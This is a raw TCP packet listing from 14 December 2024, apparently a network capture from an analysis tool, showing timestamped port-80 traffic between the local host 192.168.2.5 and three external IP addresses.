Dec 14, 2024 14:56:10.913063049 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.913168907 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.913243055 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.915004969 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.915051937 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.915126085 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.915164948 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.917023897 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.917067051 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.917088985 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.917135000 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.919063091 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.919104099 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.919215918 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.919255972 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.920964956 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.921009064 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.921031952 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.921068907 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.922949076 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.922990084 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.923053980 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.923093081 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.924938917 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.924988985 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.925031900 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.925072908 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.926930904 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.926980972 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.927011967 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.927052021 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.928901911 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.928946972 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.928953886 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.928992033 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.930951118 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.930995941 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.931149006 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.931189060 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.932868004 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.932912111 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.933101892 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.933140993 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.934932947 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.934973955 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.935018063 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.935058117 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.936963081 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.937009096 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.937048912 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.937088013 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.938944101 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.938992023 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.939007044 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.939177036 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.940860987 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.940903902 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.940949917 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.940994024 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.942852974 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.942895889 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.942986012 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.943025112 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.944823980 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.944866896 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.945053101 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.945091009 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.946815014 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.946865082 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.946966887 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.947006941 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.948800087 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.948821068 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:10.948853016 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:10.948882103 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:11.036966085 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:11.037035942 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:11.037130117 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:11.037187099 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:13.212645054 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:13.213071108 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:13.332918882 CET	80	49839	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:13.332936049 CET	80	49827	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:13.333028078 CET	49827	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:13.333115101 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:13.333214045 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:13.453058958 CET	80	49839	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:14.009495974 CET	49845	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:14.133208990 CET	80	49845	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:14.136585951 CET	49845	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:14.136658907 CET	49845	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:14.256519079 CET	80	49845	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:14.678689003 CET	80	49839	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:14.678896904 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:14.679826975 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:14.680099964 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:14.799849987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:14.799983025 CET	80	49828	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:14.800054073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:14.800143957 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:14.800164938 CET	49828	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:14.920046091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:15.494874001 CET	80	49845	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:15.495007038 CET	80	49845	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:15.495071888 CET	49845	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.496155024 CET	49845	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.496412992 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.615890980 CET	80	49845	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:15.616252899 CET	80	49848	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:15.616322041 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.616404057 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.736238956 CET	80	49848	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:15.736301899 CET	49848	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:15.856161118 CET	80	49848	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:16.151916981 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.151932001 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.151952028 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.151968956 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.151978016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.151988029 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.152003050 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152004004 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152092934 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152096987 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.152146101 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.152151108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152158976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.152169943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.152194023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152194977 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.152225971 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.271862984 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.271874905 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.271929026 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.276002884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.276058912 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.276128054 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.276179075 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.344012976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.344095945 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.344153881 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.348145962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.348206997 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.348228931 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.348273039 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.354597092 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.354657888 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.354712963 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.354763985 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.363033056 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.363086939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.363121033 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.363168955 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.371465921 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.371521950 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.371562958 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.371623993 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.379873037 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.379926920 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.379988909 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.380182981 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.388323069 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.388375044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.389286995 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.389337063 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.396600962 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.396653891 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.396720886 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.396781921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.405044079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.405098915 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.405144930 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.405194044 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.412672043 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.412724972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.412851095 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.412904024 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.420360088 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.420411110 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.420492887 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.420538902 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.427989006 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.428039074 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.428090096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.428137064 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.463880062 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.463948011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.536165953 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.536221027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.536221027 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.536263943 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.538575888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.538633108 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.538640022 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.538849115 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.543149948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.543211937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.543262005 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.543328047 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.547848940 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.547909975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.547940016 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.547988892 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.552485943 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.552536011 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.552606106 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.552658081 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.557185888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.557251930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.557302952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.557354927 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.561867952 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.561922073 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.561990976 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.562066078 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.566596031 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.566664934 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.566719055 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.570812941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.570864916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.570883036 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.570940018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.575217009 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.575288057 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.575371027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.575419903 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.579667091 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.579720974 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.579817057 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.579907894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.584137917 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.584194899 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.584243059 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.584295988 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.588614941 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.588757992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.588810921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.593095064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.593144894 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.593197107 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.593240976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.597636938 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.597745895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.597816944 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.601286888 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.601353884 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.601355076 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.601397038 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.604916096 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.604991913 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.605000019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.605051994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.608566046 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.608675957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.608724117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.612221003 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.612270117 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.612327099 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.612375975 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.615937948 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.615994930 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.616044998 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.616174936 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.619584084 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.619668961 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.619744062 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.623251915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.623342991 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.623433113 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.623433113 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.626929045 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.626996994 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.627012014 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.627059937 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.656155109 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.656203985 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.656212091 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.656249046 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.728212118 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.728250027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.728317976 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.729573011 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.730120897 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.730180025 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.730220079 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.730274916 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.733007908 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.733100891 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.733160973 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.735210896 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.735241890 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.735301018 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.738106966 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.738152027 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.738205910 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.740933895 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.741060019 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.741204023 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.743639946 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.743731022 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.743791103 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.746360064 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.746416092 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.746515989 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.746884108 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.749092102 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.749136925 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.749193907 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.751749992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.751918077 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.751972914 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.754262924 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.754318953 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.754379988 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.754751921 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.756748915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.756803989 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.756813049 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.756871939 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.759257078 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.759341002 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.759402037 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.761754990 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.761811972 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.761866093 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.761967897 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.764255047 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.764303923 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.764341116 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.764400959 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.766777992 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.766832113 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.766880035 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.766927958 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.769366980 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.769437075 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.769490957 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.769537926 CET	49846	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:16.771776915 CET	80	49846	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:16.771830082 CET	49846	80	192.168.2.5	31.41.244.11
